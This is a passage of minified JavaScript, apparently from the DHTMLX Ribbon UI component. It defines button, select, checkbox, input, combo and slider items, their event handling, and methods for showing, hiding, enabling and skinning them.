dhxrb_highlight1\"}}else{if(/dhxrb_highlight1/.test(a.base.className)){a.base.className=a.base.className.replace(/\\s?dhxrb_highlight1/,\"\")}}a.conf.state=c;if(e){a.callEvent(\"onStateChange\",[a.id,a.conf.state])}},getState:function(a){return(a.conf.state==true)}};dhtmlXRibbon.prototype.items.buttonSegment={click:function(a,g,c){return false},mousedown:function(a,g,c){this.setState(a,g,true);return false},callAfterInit:function(a){if(a.conf.state||dhtmlXRibbon.prototype.items.buttonSegment._getSelectedNeighbor(a,this)==null){if(a.conf.state){a.conf.state=false}dhtmlXRibbon.prototype.items.buttonSegment.setState(a,this,false)}},afterRender:function(){},setState:function(a,h,g){g=g||false;var e=null,c=dhx4.s2b(a.conf.state);if(c==false){e=this._getSelectedNeighbor(a,h);if(e!=null){this._unSelect(e)}if(!/dhxrb_highlight1/.test(a.base.className)){a.base.className+=\" dhxrb_highlight1\"}a.conf.state=true;if(g){h._callHandler(a.id,[a.id,(e?e.id:null)]);h.callEvent(\"onStateChange\",[a.id,(e?e.id:null)])}}},remove:function(e,m){var h=dhx4.s2b(e.conf.state),l=null,a=0,c=m._items[e.parentId],g;if(h){while(c.childIds[a]&&l==null){g=m._items[c.childIds[a]];if(g.type==\"buttonSegment\"&&g!=e){l=g}a++}if(l){this.setState(l,m)}}},_unSelect:function(a){var c=dhx4.s2b(a.conf.state);if(c){if(/dhxrb_highlight1/.test(a.base.className)){a.base.className=a.base.className.replace(/\\s?dhxrb_highlight1/,\"\")}a.conf.state=false}},_getSelectedNeighbor:function(g,n){var e=n._items[g.parentId],c,a,m,h=null;a=e.childIds.length;for(c=0;c<a;c++){m=n._items[e.childIds[c]];if(m.type==\"buttonSegment\"&&m.conf.state){h=m;break}}return h}};dhtmlXRibbon.prototype.items.buttonSelect={itemCollection:[],_isAttachedEventInWindow:false,afterRender:function(c){var a=c.base.childNodes[1];a.innerHTML+=\"<span class='dhxrb_arrow'>&nbsp;</span>\";c.menu=null;this.itemCollection.push(c);this._attachEventToWindow();a=null},setText:function(a,e){var c=a.base.childNodes[1].lastChild;a.conf.text=e;a.base.childNodes[1].innerHTML=e;a.base.childNodes[1].appendChild(c)},setOptionText:function(a,e,c){if(a.menu!=null){a.menu.setItemText(e,c)}else{this._loopThroughItems(a.conf.items,e,c,false)}},getOptionText:function(a,c){if(a.menu!=null){return a.menu.getItemText(c)}return this._loopThroughItems(a.conf.items,c,null,true)},_loopThroughItems:function(a,l,h,g){for(var e=0;e<a.length;e++){if(a[e].id==l){if(g!=true){a[e].text=h;return true}else{return a[e].text}}if(a[e].items!=null){var c=this._loopThroughItems(a[e].items,l,h,g);if(c!=null){return c}}}return null},_attachEventToWindow:function(){if(this._isAttachedEventInWindow==false){if(typeof(window.addEventListener)==\"function\"){document.body.addEventListener(\"mousedown\",this._hideAllMenus,false)}else{document.body.attachEvent(\"onmousedown\",this._hideAllMenus)}this._isAttachedEventInWindow=true}},_detachEventFromWindow:function(){if(typeof(window.addEventListener)==\"function\"){document.body.removeEventListener(\"mousedown\",this._hideAllMenus,false)}else{document.body.detachEvent(\"onmousedown\",this._hideAllMenus)}this._isAttachedEventInWindow=false},_hideAllMenus:function(l){l=l||event;var g=l.target||l.srcElement;var a=true;while(g!=null&&a==true){if(g.className!=null&&/SubLevelArea_Polygon/i.test(g.className)){a=false}else{g=g.parentNode}}if(a==false){return}var c=dhtmlXRibbon.prototype.items.buttonSelect.itemCollection;for(var n in c){var h=c[n];if(h.menu instanceof dhtmlXMenuObject){if(h._skipHiding){h._skipHiding=false}else{dhtmlXRibbon.prototype.items.buttonSelect.hideMenu(h)}}}},mousedown:function(a,g,c){a._skipHiding=true;this.showMenu(a);return false},mouseup:function(a){return false},click:function(){},setState:function(){},showMenu:function(c){var a=dhx4.absLeft(c.base),e=dhx4.absTop(c.base)+c.base.offsetHeight;if(!(c.menu instanceof dhtmlXMenuObject)){c.menu=new dhtmlXMenuObject({parent:c.base,icons_path:c.conf.icons_path,context:true,items:c.conf.items,skin:c.conf.skin});if(c.conf.data){c.menu.loadStruct(c.conf.data);delete c.conf.data}c.menu.setAutoHideMode(false);c.menu.attachEvent(\"onHide\",function(g){if(g==null){dhtmlXRibbon.prototype.items.buttonSelect._doOnHideMenu(c)}});c.menu.attachEvent(\"onShow\",function(g){if(g==null){dhtmlXRibbon.prototype.items.buttonSelect._doOnShowMenu(c)}});c.menu.attachEvent(\"onClick\",function(g){c.callEvent(\"onClick\",[g,c.id])});c.base.oncontextmenu=function(){return false};dhtmlXRibbon.prototype.items.buttonSelect.showMenu(c)}else{c.menu.showContextMenu(a,e)}},hideMenu:function(a){if(a.menu instanceof dhtmlXMenuObject){a.menu.hideContextMenu()}},remove:function(c){var e,a;if(c.menu instanceof dhtmlXMenuObject){c.menu.unload();c.menu=null}c.base.oncontextmenu=null;e=dhtmlXRibbon.prototype._indexOf(dhtmlXRibbon.prototype.items.buttonSelect.itemCollection,c);if(e!=-1){dhtmlXRibbon.prototype.items.buttonSelect.itemCollection.splice(e,1)}if(dhtmlXRibbon.prototype.items.buttonSelect.itemCollection.length==0){this._detachEventFromWindow()}},setSkin:function(a,c){if(a.menu instanceof dhtmlXMenuObject){a.menu.setSkin(c)}},_doOnHideMenu:function(a){if(a._skipHiding){a._skipHiding=false}else{if(/dhxrb_highlight1/.test(a.base.className)){a.base.className=a.base.className.replace(/\\s?dhxrb_highlight1/,\"\")}}},_doOnShowMenu:function(a){if(!/dhxrb_highlight1/.test(a.base.className)){a.base.className+=\" dhxrb_highlight1\"}}};dhtmlXRibbon.prototype.items.group={render:function(c,a){var e,g;g={base:c,id:a.id,type:a.type,conf:{disable:false,skin:a.skin},childIds:[]};c.className=\"dhxrb_group\";for(e in a){if(e==\"id\"||e==\"onclick\"||e==\"type\"){continue}g.conf[e]=a[e]}return g},callAfterInit:function(h){this._detachEventFromItem(h.base);var g,a,m=h.conf.list,n,e,c;a=(m)?m.length:0;for(g=0;g<a;g++){n=this._addItem(h.id,null,null,m[g]);if(n==null){continue}e=n.base.childNodes[1];if(e&&!e.innerHTML&&!/\\s?dhxrb_label_hide/i.test(e.className)){e.className+=\" dhxrb_label_hide\"}}dhtmlXRibbon.prototype.items.group.normalize(h);if(h.conf.disable){this.disable(h.id)}m=undefined},normalize:function(n){var a=n.base.children;var e=a.length,c=false,o=0;var g,m;for(var h=0;h<e;h++){if(!/dhxrb_separator_group/i.test(a[h].className)){if(/dhxrb_item_hide/i.test(a[h].className)){o++;continue}}if((Math.ceil((h-o)/2)-Math.floor((h-o)/2))==0){if(/dhxrb_separator_group/i.test(a[h].className)){a[h].parentNode.removeChild(a[h]);c=true;break}}else{if(!/dhxrb_separator_group/i.test(a[h].className)){g=document.createElement(\"div\");g.className=\"dhxrb_separator_groupp\";n.base.insertBefore(g,a[h]);c=true;break}}}if(c){this.normalize(n)}else{m=n.base.lastChild;if(m&&/dhxrb_separator_group/i.test(m.className)){m.parentNode.removeChild(m)}}},hideChild:function(c,g){var a=dhtmlXRibbon.prototype._indexOf(c.base.children,g.base);if(a==0){a++}else{if(a!=-1){a--}else{return}}var e=c.base.children[a];if(e&&/dhxrb_separator_group/i.test(e.className)){e.parentNode.removeChild(e)}},showChild:function(a){this.normalize(a)}};dhtmlXRibbon.prototype.items.input={render:function(c,a){var e,g;g={base:c,id:a.id,type:a.type,conf:{text:\"\",text_pos:(a.isbig)?\"bottom\":\"right\",img:null,imgdis:null,isbig:false,disable:false,skin:a.skin,value:\"\"}};for(e in a){if(e==\"id\"||e==\"onclick\"||e==\"type\"){continue}g.conf[e]=a[e]}c.innerHTML=\"<input type='text' class='dhxrb_input'><div class='dhxrb_label_button'>\"+g.conf.text+\"</div>\";if(typeof(this.afterRender)==\"function\"){this.afterRender(g)}if(g.conf.disable){this.disable(g)}if(g.conf.width){this.setWidth(g,g.conf.width)}if(g.conf.value){this.setValue(g,g.conf.value)}return g},callAfterInit:function(c){var a=c.base.childNodes[0];this._detachEventFromItem(c.base);this._attachEventsToInput(a)},setText:dhtmlXRibbon.prototype.items.button.setText,getText:dhtmlXRibbon.prototype.items.button.getText,change:function(c){var a=c.base.childNodes[0];c.conf.value=a.value},keydown:function(c,h,g){if(g.keyCode==13){var a=c.base.childNodes[0];c.conf.value=a.value;h.callEvent(\"onEnter\",[c.id,c.conf.value])}},remove:function(c,e){var a=c.base.childNodes[0];e._detachEventsFromInput(a)},getValue:function(c){var a=c.base.childNodes[0],e;e=a.value;a=undefined;return e},setValue:function(c,e){var a=c.base.childNodes[0],e;a.value=e;c.conf.value=e},setWidth:function(c,e){var a=c.base.childNodes[0];a.style.width=parseInt(e)+\"px\"},disable:function(e){var c=e.base.childNodes[0],a=e.base.childNodes[1];c.disabled=true;if(!/\\s?dhxrb_disable_text_style/i.test(a.className)){a.className+=\" dhxrb_disable_text_style\"}return true},enable:function(e){var c=e.base.childNodes[0],a=e.base.childNodes[1];c.disabled=false;if(/\\s?dhxrb_disable_text_style/i.test(a.className)){a.className=a.className.replace(/\\s?dhxrb_disable_text_style/i,\"\")}return true},getInput:function(a){return a.base.childNodes[0]}};dhtmlXRibbon.prototype.getInput=function(c){var a=this._items[c];if(a==null||a.type!=\"input\"){return null}return this.items[a.type].getInput(a)};dhtmlXRibbon.prototype.items.checkbox={render:function(c,a){var e,g;g={base:c,id:a.id,type:a.type,conf:{text:\"\",text_pos:(a.isbig)?\"bottom\":\"right\",disable:false,checked:false}};for(e in a){if(e==\"id\"||e==\"onclick\"||e==\"type\"){continue}g.conf[e]=a[e]}c.innerHTML=\"<div class='dhxrb_checkbox'></div><div class='dhxrb_label_checkbox'>\"+g.conf.text+\"</div>\";if(typeof(this.afterRender)==\"function\"){this.afterRender(g)}if(g.conf.checked){this.check(g)}return g},callAfterInit:function(a){if(a.conf.disable){this.disable(a.id)}},setText:dhtmlXRibbon.prototype.items.button.setText,getText:dhtmlXRibbon.prototype.items.button.getText,mousedown:function(a){return false},mouseup:function(a){return false},click:function(a,g,c){if(c.button!=0){return false}if(a.type==\"checkbox\"){if(a.conf.checked){this.uncheck(a,true)}else{this.check(a,true)}}},check:function(a,c){c=c||false;if(a.type!=\"checkbox\"){return}a.conf.checked=true;if(!/\\s?dhxrb_checked/i.test(a.base.className)){a.base.className+=\" dhxrb_checked\"}if(c){a.callEvent(\"onCheck\",[a.id,a.conf.checked])}},uncheck:function(a,c){c=c||false;if(a.type!=\"checkbox\"){return}a.conf.checked=false;if(/\\s?dhxrb_checked/i.test(a.base.className)){a.base.className=a.base.className.replace(/\\s?dhxrb_checked/i,\"\")}if(c){a.callEvent(\"onCheck\",[a.id,a.conf.checked])}},isChecked:function(a){if(a.type!=\"checkbox\"){return false}return(a.conf.checked==true)},disable:function(a){return true},enable:function(a){return true}};dhtmlXRibbon.prototype.items.text={render:function(a,g){var e={base:a,id:g.id,type:g.type,conf:{text:\"\"}};for(var c in g){if(c==\"id\"||c==\"type\"){continue}e.conf[c]=g[c]}a.innerHTML=\"<div class='dhxrb_item_text'>\"+e.conf.text+\"</div>\";if(typeof(this.afterRender)==\"function\"){this.afterRender(e)}return e},callAfterInit:function(a){this._detachEventFromItem(a.base)},getText:function(a){return a.conf.text},setText:function(a,c){a.conf.text=c;a.base.innerHTML=c}};dhtmlXRibbon.prototype.items.buttonCombo={render:function(a,c){var e,g,h={};g={base:a,id:c.id,type:c.type,conf:{text:\"\",text_pos:\"right\",width:140,skin:c.skin,callEvent:true}};for(e in c){if(e==\"id\"||e==\"onclick\"||e==\"type\"){continue}g.conf[e]=c[e]}for(e in g.conf){if(e==\"text\"||e==\"text_pos\"||e==\"disable\"||e==\"data\"){continue}h[e]=g.conf[e]}g.base.className+=\" dhxrb_buttoncombo_cont\";g.base.innerHTML=\"<div class='dhxrb_buttoncombo'></div><div class='dhxrb_label_button'>\"+g.conf.text+\"</div>\";h.parent=g.base.firstChild;g.combo=new dhtmlXCombo(h);g.combo.setSkin(h.skin);g.combo.attachEvent(\"onChange\",function(l,m){g._callHandler(g.id,[l,m]);if(g.conf.callEvent==true){g.callEvent(\"onSelectOption\",[g.id,l,m])}g.conf.callEvent=true});if(g.conf.data){g.combo.load(g.conf.data);delete g.conf.data}if(typeof(this.afterRender)==\"function\"){this.afterRender(g)}if(g.conf.disable){this.disable(g)}return g},callAfterInit:function(a){this._detachEventFromItem(a.base)},disable:function(c){var a=c.base.lastChild;if(c.combo instanceof dhtmlXCombo){c.combo.disable()}if(!/\\s?dhxrb_disable_text_style/i.test(a.className)){a.className+=\" dhxrb_disable_text_style\"}return true},enable:function(c){var a=c.base.lastChild;if(c.combo instanceof dhtmlXCombo){c.combo.enable()}if(/\\s?dhxrb_disable_text_style/i.test(a.className)){a.className=a.className.replace(/\\s?dhxrb_disable_text_style/i,\"\")}return true},remove:function(a){if(a.combo instanceof dhtmlXCombo){a.combo.unload();a.combo=null}},getValue:function(a){var c=null;if(a.combo instanceof dhtmlXCombo){c=a.combo.getSelectedValue()}return c},setValue:function(a,c,e){if(a.combo instanceof dhtmlXCombo){a.conf.callEvent=e;a.combo.setComboValue(c)}},setSkin:function(a,c){if(a.combo instanceof dhtmlXCombo){a.combo.setSkin(c)}}};dhtmlXRibbon.prototype.items.slider={render:function(a,h){var e,g,c={};g={base:a,id:h.id,type:h.type,conf:{text:\"\",text_pos:\"right\",size:150,vertical:false,min:0,max:99,value:0,step:1,margin:10,disabled:false,enableTooltip:false}};for(e in h){if(e==\"id\"||e==\"onclick\"||e==\"type\"){continue}g.conf[e]=h[e]}for(e in g.conf){if(e==\"text\"||e==\"text_pos\"||e==\"isbig\"){continue}c[e]=g.conf[e]}g.base.innerHTML=\"<center><div class='dhxrb_slider'></div></center><div class='dhxrb_label_button'>\"+g.conf.text+\"</div>\";c.parent=g.base.firstChild.firstChild;g.slider=new dhtmlXSlider(c);if(typeof(this.afterRender)==\"function\"){this.afterRender(g)}if(g.conf.disable){this.disable(g)}g.slider.attachEvent(\"onChange\",function(l){g._callHandler(g.id,[l]);g.callEvent(\"onValueChange\",[g.id,l])});return g},callAfterInit:function(a){this._detachEventFromItem(a.base)},setSkin:function(a,c){if(a.slider instanceof dhtmlXSlider){a.slider.setSkin(c)}},disable:function(c){var a=c.base.childNodes[1];if(c.slider instanceof dhtmlXSlider){c.slider.disable()}if(!/\\s?dhxrb_disable_text_style/i.test(a.className)){a.className+=\" dhxrb_disable_text_style\"}return true},enable:function(c){var a=c.base.childNodes[1];if(c.slider instanceof dhtmlXSlider){c.slider.enable()}if(/\\s?dhxrb_disable_text_style/i.test(a.className)){a.className=a.className.replace(/\\s?dhxrb_disable_text_style/i,\"\")}return true},remove:function(a){if(a.slider instanceof dhtmlXSlider){a.slider.unload();a.slider=null}},getValue:function(a){var c=null;if(a.slider instanceof dhtmlXSlider){c=a.slider.getValue()}return c},setValue:function(a,c){if(a.slider instanceof dhtmlXSlider){a.slider.setValue(c)}}};dhtmlXRibbon.prototype.items._extends=function(e,c){var a;for(a in c){e[a]=e[a]||c[a]}return e};dhtmlXRibbon.prototype._addNewLevel=function(e){var c,a;if(e.conf.mode==\"rows\"){c=e.contForItems.lastChild;if(c&&/dhxrb_block_rows/i.test(c.className)&&(c.childNodes.length<3)){a=document.createElement(\"div\");a.className=\"dhxrb_block_row\";c.appendChild(a)}else{c=document.createElement(\"div\");c.className=\"dhxrb_block_rows\";e.contForItems.appendChild(c);a=document.createElement(\"div\");a.className=\"dhxrb_block_row\";c.appendChild(a)}}else{var a=document.createElement(\"div\");a.className=\"dhxrb_3rows_block\";e.contForItems.appendChild(a)}};dhtmlXRibbon.prototype._attachEventForItem=function(a){if(typeof(window.addEventListener)==\"function\"){a.addEventListener(\"mouseover\",this._doOnHighlight0,false);a.addEventListener(\"mouseout\",this._doOffHighlight0,false);a.addEventListener(\"mousedown\",this._doOnHighlight1,false);a.addEventListener(\"mouseup\",this._doOffHighlight1,false);a.addEventListener(\"click\",this._doOnClick,false)}else{a.attachEvent(\"onmouseover\",this._doOnHighlight0);a.attachEvent(\"onmouseout\",this._doOffHighlight0);a.attachEvent(\"onmousedown\",this._doOnHighlight1);a.attachEvent(\"onmouseup\",this._doOffHighlight1);a.attachEvent(\"onclick\",this._doOnClick)}};dhtmlXRibbon.prototype._detachEventFromItem=function(a){if(typeof(window.addEventListener)==\"function\"){a.removeEventListener(\"mouseover\",this._doOnHighlight0,false);a.removeEventListener(\"mouseout\",this._doOffHighlight0,false);a.removeEventListener(\"mousedown\",this._doOnHighlight1,false);a.removeEventListener(\"mouseup\",this._doOffHighlight1,false);a.removeEventListener(\"click\",this._doOnClick,false)}else{a.detachEvent(\"onmouseover\",this._doOnHighlight0);a.detachEvent(\"onmouseout\",this._doOffHighlight0);a.detachEvent(\"onmousedown\",this._doOnHighlight1);a.detachEvent(\"onmouseup\",this._doOffHighlight1);a.detachEvent(\"onclick\",this._doOnClick)}};dhtmlXRibbon.prototype._attachEventsToInput=function(a){if(typeof(window.addEventListener)==\"function\"){a.addEventListener(\"focus\",this._doOnFocus,false);a.addEventListener(\"blur\",this._doOnBlur,false);a.addEventListener(\"change\",this._doOnChange,false);a.addEventListener(\"keydown\",this._doOnKeydown,false)}else{a.attachEvent(\"onfocus\",this._doOnFocus);a.attachEvent(\"onblur\",this._doOnBlur);a.attachEvent(\"onchange\",this._doOnChange);a.attachEvent(\"onkeydown\",this._doOnKeydown)}};dhtmlXRibbon.prototype._detachEventsFromInput=function(a){if(typeof(window.addEventListener)==\"function\"){a.removeEventListener(\"focus\",this._doOnFocus,false);a.removeEventListener(\"blur\",this._doOnBlur,false);a.removeEventListener(\"change\",this._doOnChange,false);a.removeEventListener(\"keydown\",this._doOnKeydown,false)}else{a.detachEvent(\"onfocus\",this._doOnFocus);a.detachEvent(\"onblur\",this._doOnBlur);a.detachEvent(\"onchange\",this._doOnChange);a.detachEvent(\"onkeydown\",this._doOnKeydown)}};dhtmlXRibbon.prototype._getContainerForSmallItem=function(e){var c=e.contForItems.lastChild,a=null;if(e.conf.mode==\"rows\"){if(c&&/\\s?dhxrb_block_rows/i.test(c.className)){a=c.lastChild;if(!a){a=document.createElement(\"div\");a.className=\"dhxrb_block_row\";c.appendChild(a)}}else{c=document.createElement(\"div\");c.className=\"dhxrb_block_rows\";e.contForItems.appendChild(c);a=document.createElement(\"div\");a.className=\"dhxrb_block_row\";c.appendChild(a)}}else{if(c&&/dhxrb_3rows_block/i.test(c.className)&&(c.childNodes.length<3)){a=c}else{a=document.createElement(\"div\");a.className=\"dhxrb_3rows_block\";e.contForItems.appendChild(a)}}return a};dhtmlXRibbon.prototype._findItemByNode=function(a){while(a&&!a._dhx_ribbonId){a=a.parentNode}return a};dhtmlXRibbon.prototype._indexOf=function(a,g){var e,c;c=a.length;for(e=0;e<c;e++){if(a[e]==g){return e}}return -1};dhtmlXRibbon.prototype._removeItem=function(e){var a,g=-1,c=this._items[e.parentId];if(e.type==\"group\"){this._removeGroup(e);return}delete this._items[e.id];a=e.base.parentNode;this._detachEventFromItem(e.base);a.removeChild(e.base);if(c.type==\"block\"){if(a!=c.contForItems&&a.childNodes.length==0){a.parentNode.removeChild(a)}}else{if(c.type==\"group\"){dhtmlXRibbon.prototype.items.group.normalize(c)}}g=this._indexOf(c.childIds,e.id);if(g!=-1){c.childIds.splice(g,1)}if(this.items[e.type]&&(typeof(this.items[e.type].remove)==\"function\")){this.items[e.type].remove(e,this)}};dhtmlXRibbon.prototype._removeGroup=function(g){var c=[],h,e=this._items[g.parentId],a=g.base.parentNode;for(h in g.childIds){h=parseInt(h);c.push(this._items[g.childIds[h]])}for(h in c){h=parseInt(h);this._removeItem(c[h])}delete this._items[g.id];if(g.base.parentNode){a.removeChild(g.base)}if(a.childNodes.length==0){a.parentNode.removeChild(a)}h=this._indexOf(e.childIds,g.id);if(h!=-1){e.childIds.splice(h,1)}if(this.items[g.type]&&(typeof(this.items[g.type].remove)==\"function\")){this.items[g.type].remove(g)}};dhtmlXRibbon.prototype._removeBlock=function(g){var a=[],e,c;for(e in g.childIds){e=parseInt(e);a.push(this._items[g.childIds[e]])}for(e in a){e=parseInt(e);this._removeItem(a[e])}delete this._items[g.id];g.base.parentNode.removeChild(g.base);if(g.parentId){c=this._items[g.parentId]}else{c=this}e=this._indexOf(c.childIds,g.id);if(e!=-1){c.childIds.splice(e,1)}};dhtmlXRibbon.prototype._removeTab=function(c,a){var g=[],e;for(e in c.childIds){e=parseInt(e);g.push(this._items[c.childIds[e]])}for(e in g){e=parseInt(e);this._removeBlock(g[e])}delete this._items[c.id];e=this._indexOf(this.childIds,c.id);if(e!=-1){this.childIds.splice(e,1)}};dhtmlXRibbon.prototype._skinCollection={dhx_skyblue:true,dhx_web:true,dhx_terrace:true};dhtmlXRibbon.prototype._setSkinForItems=function(e){var a,c;for(a in this._items){c=this._items[a];c.conf.skin=e;if(dhtmlXRibbon.prototype.items[c.type]&&typeof(dhtmlXRibbon.prototype.items[c.type].setSkin)==\"function\"){dhtmlXRibbon.prototype.items[c.type].setSkin(c,e)}}c=undefined,a=undefined};dhtmlXRibbon.prototype._setBlockText=function(a,c){a.conf.text=c;a.contForText.innerHTML=c;if(!c&&(c!=0)&&a.contForText.parentNode){a.contForText.parentNode.removeChild(a.contForText)}else{if(!a.contForText.parentNode){if(a.conf.text_pos==\"top\"){a.base.insertBefore(a.contForText,a.contForItems)}else{a.base.appendChild(a.contForText)}}}};dhtmlXRibbon.prototype.hide=function(e){var c=this._items[e];if(this.items[c.type]&&(typeof(this.items[c.type].hide)==\"function\")){if(this.items[c.type].hide(c)!=true){return}}if(c.type==\"tab\"){return}else{if(!/\\s?dhxrb_item_hide/i.test(c.base.className)){c.base.className+=\" dhxrb_item_hide\"}}var a=this._items[c.parentId];if(a&&this.items[a.type]&&(typeof(this.items[a.type].hideChild)==\"function\")){this.items[a.type].hideChild(a,c)}};dhtmlXRibbon.prototype.show=function(e){var c=this._items[e];if(this.items[c.type]&&(typeof(this.items[c.type].show)==\"function\")){if(this.items[c.type].show(c)!=true){return}}if(c.type==\"tab\"){return}else{if(/\\s?dhxrb_item_hide/i.test(c.base.className)){c.base.className=c.base.className.replace(/\\s?dhxrb_item_hide/i,\"\")}}var a=this._items[c.parentId];if(a&&this.items[a.type]&&(typeof(this.items[a.type].showChild)==\"function\")){this.items[a.type].showChild(a,c)}};dhtmlXRibbon.prototype.check=function(e,c){c=dhx4.s2b(c);var a=this._items[e];if(a&&!a.conf.checked&&typeof(this.items[a.type].check)==\"function\"){this.items[a.type].check(a);if(c){this.callEvent(\"onCheck\",[a.id,a.conf.checked])}}};dhtmlXRibbon.prototype.uncheck=function(e,c){c=dhx4.s2b(c);var a=this._items[e];if(a&&a.conf.checked&&typeof(this.items[a.type].uncheck)==\"function\"){this.items[a.type].uncheck(a);if(c){this.callEvent(\"onCheck\",[a.id,a.conf.checked])}}};dhtmlXRibbon.prototype.isChecked=function(c){var a=this._items[c];if(a&&typeof(this.items[a.type].isChecked)==\"function\"){return this.items[a.type].isChecked(a)}};dhtmlXRibbon.prototype.disable=function(g,c){var e=this._items[g],a;if(this.items[e.type]&&(typeof(this.items[e.type].disable)==\"function\")){if(this.items[e.type].disable(e)!=true){return}}if(e.type==\"tab\"){return}else{if(e.type==\"block\"||e.type==\"group\"){for(a in e.childIds){a=parseInt(a);this.disable(e.childIds[a])}}}if(!/\\s?dhxrb_item_disable/i.test(e.base.className)){e.base.className+=\" dhxrb_item_disable\"}e.conf.disable=true};dhtmlXRibbon.prototype.enable=function(g,c){var e=this._items[g],a;if(this.items[e.type]&&(typeof(this.items[e.type].enable)==\"function\")){if(this.items[e.type].enable(e)!=true){return}}if(e.type==\"tab\"){return}else{if(e.type==\"block\"||e.type==\"group\"){for(a in e.childIds){a=parseInt(a);this.enable(e.childIds[a])}}}if(/\\s?dhxrb_item_disable/i.test(e.base.className)){e.base.className=e.base.className.replace(/\\s?dhxrb_item_disable/i,\"\")}e.conf.disable=false};dhtmlXRibbon.prototype.isEnabled=function(c){var a=this._items[c];if(this.items[a.type]&&typeof(this.items[a.type].isEnabled)==\"function\"){return this.items[a.type].isEnabled(a)}if(a.type==\"tab\"){return}else{return a.conf.disable!=true}};dhtmlXRibbon.prototype.isVisible=function(c){var a=this._items[c];if(this.items[a.type]&&(typeof(this.items[a.type].isVisible)==\"function\")){return this.items[a.type].isVisible(a)}if(a.type==\"tab\"){return}else{return !/\\s?dhxrb_item_hide/i.test(a.base.className)}};dhtmlXRibbon.prototype.setItemState=function(g,c,e){c=dhx4.s2b(c);e=dhx4.s2b(e);var a=this._items[g];if(a&&(typeof(this.items[a.type].setState)==\"function\")){switch(a.type){case\"buttonSegment\":this.items[a.type].setState(a,this,e);break;default:this.items[a.type].setState(a,c,e)}}};dhtmlXRibbon.prototype.getItemState=function(c){var a=this._items[c];if(a&&(typeof(this.items[a.type].getState)==\"function\")){switch(a.type){case\"buttonTwoState\":case\"buttonSegment\":return this.items[a.type].getState(a);break}}return null};dhtmlXRibbon.prototype.setIconPath=function(a){this.conf.icons_path=a};dhtmlXRibbon.prototype.removeItem=function(c){var a=this._items[c];if(a==null){return}switch(a.type){case\"tab\":break;case\"block\":this._removeBlock(a);break;case\"group\":this._removeGroup(a);break;default:this._removeItem(a)}};dhtmlXRibbon.prototype.setSkin=function(h){h=(typeof(h)==\"string\")?h.toLowerCase():\"\";if(this._skinCollection[h]!=true){return}var e,c=-1,a,g=\"dhtmlxribbon\";e=this._base.className.match(/\\S\\w+/ig);if(e instanceof Array){for(a in this._skinCollection){if(c==-1){c=this._indexOf(e,g+\"_\"+a)}else{break}}c=(c==-1)?e.length:c}else{e=[];c=0}e[c]=g+\"_\"+h;this._base.className=e.join(\" \");this.conf.skin=h;if(this._tabbar!=null){this._tabbar.setSkin(h)}this._setSkinForItems(h)};dhtmlXRibbon.prototype.tabs=function(a){if(this._tabbar instanceof dhtmlXTabBar){return this._tabbar.tabs(a)}else{return undefined}};dhtmlXRibbon.prototype.getItemType=function(c){var a=this._items[c];if(a){return a.type}else{return undefined}};dhtmlXRibbon.prototype.getValue=function(e){var a=this._items[e],c=undefined;if(a&&this.items[a.type]&&typeof(this.items[a.type].getValue)==\"function\"){c=this.items[a.type].getValue(a)}return c};dhtmlXRibbon.prototype.setValue=function(g,c,e){var a=this._items[g];e=(e===false?false:true);if(a&&this.items[a.type]&&typeof(this.items[a.type].setValue)==\"function\"){this.items[a.type].setValue(a,c,e)}};dhtmlXRibbon.prototype.getItemText=function(c){var a=this._items[c];if(!a){return null}else{if(a.type==\"tab\"){return this.tabs(a.id).getText()}else{if(a.type==\"block\"){return this.items.button.getText(a)}else{if(this.items[a.type]&&typeof(this.items[a.type].getText)==\"function\"){return this.items[a.type].getText(a)}else{return null}}}}};dhtmlXRibbon.prototype.setItemText=function(e,c){var a=this._items[e];if(!a){return}else{if(a.type==\"tab\"){this.tabs(a.id).setText(c)}else{if(a.type==\"block\"){this._setBlockText(a,c)}else{if(this.items[a.type]&&typeof(this.items[a.type].setText)==\"function\"){this.items[a.type].setText(a,c)}}}}};dhtmlXRibbon.prototype.setItemOptionText=function(g,e,c){var a=this._items[g];if(a.type==\"buttonSelect\"){this.items[a.type].setOptionText(a,e,c)}};dhtmlXRibbon.prototype.getItemOptionText=function(e,c){var a=this._items[e];if(a.type==\"buttonSelect\"){return this.items[a.type].getOptionText(a,c)}return null};dhtmlXRibbon.prototype.setItemImage=function(e,a){var c=this._items[e];if(c!=null&&this.items[c.type]!=null&&typeof(this.items[c.type].setImage)==\"function\"){this.items[c.type].setImage(c,a)}};dhtmlXRibbon.prototype.setItemImageDis=function(e,a){var c=this._items[e];if(c!=null&&this.items[c.type]!=null&&typeof(this.items[c.type].setImageDis)==\"function\"){this.items[c.type].setImageDis(c,a)}};dhtmlXRibbon.prototype.getCombo=function(c){var a=this._items[c];if(a!=null&&a.type==\"buttonCombo\"){return a.combo}return null};(function(){var a=dhtmlXRibbon.prototype.items;a.buttonTwoState=a._extends(a.buttonTwoState,a.button);a.buttonSelect=a._extends(a.buttonSelect,a.buttonTwoState);a.buttonSegment=a._extends(a.buttonSegment,a.buttonTwoState)})();if(typeof(window.dhtmlXCellObject)!=\"undefined\"){dhtmlXCellObject.prototype._createNode_ribbon=function(h,c,g,a,e){if(typeof(e)!=\"undefined\"){h=e}else{h=document.createElement(\"DIV\");h.className=\"dhx_cell_ribbon_\"+(this.conf.borders?\"def\":\"no_borders\");h.appendChild(document.createElement(\"DIV\"))}this.cell.insertBefore(h,this.cell.childNodes[this.conf.idx.cont]);this.conf.ofs_nodes.t.ribbon=true;this._updateIdx();this._adjustCont(this._idd);return h};dhtmlXCellObject.prototype.attachRibbon=function(a){if(!(this.dataNodes.ribbon==null&&this.dataNodes.toolbar==null)){return}this.callEvent(\"_onBeforeContentAttach\",[\"ribbon\"]);if(typeof(a)==\"undefined\"){a={}}if(typeof(a.skin)==\"undefined\"){a.skin=this.conf.skin}a.parent=this._attachObject(\"ribbon\").firstChild;this.dataNodes.ribbon=new dhtmlXRibbon(a);var c=this;this.dataNodes.ribbon.attachEvent(\"_onHeightChanged\",function(){c._adjustCont(c._idd)});this._adjustCont();a.parent=null;a=null;this.callEvent(\"_onContentAttach\",[]);return this.dataNodes.ribbon};dhtmlXCellObject.prototype.detachRibbon=function(){if(!this.dataNodes.ribbon){return}this.dataNodes.ribbon.unload();this.dataNodes.ribbon=null;delete this.dataNodes.ribbon;this._detachObject(\"ribbon\")};dhtmlXCellObject.prototype.showRibbon=function(){this._mtbShowHide(\"ribbon\",\"\")};dhtmlXCellObject.prototype.hideRibbon=function(){this._mtbShowHide(\"ribbon\",\"none\")};dhtmlXCellObject.prototype.getAttachedRibbon=function(){return this.dataNodes.ribbon}}function 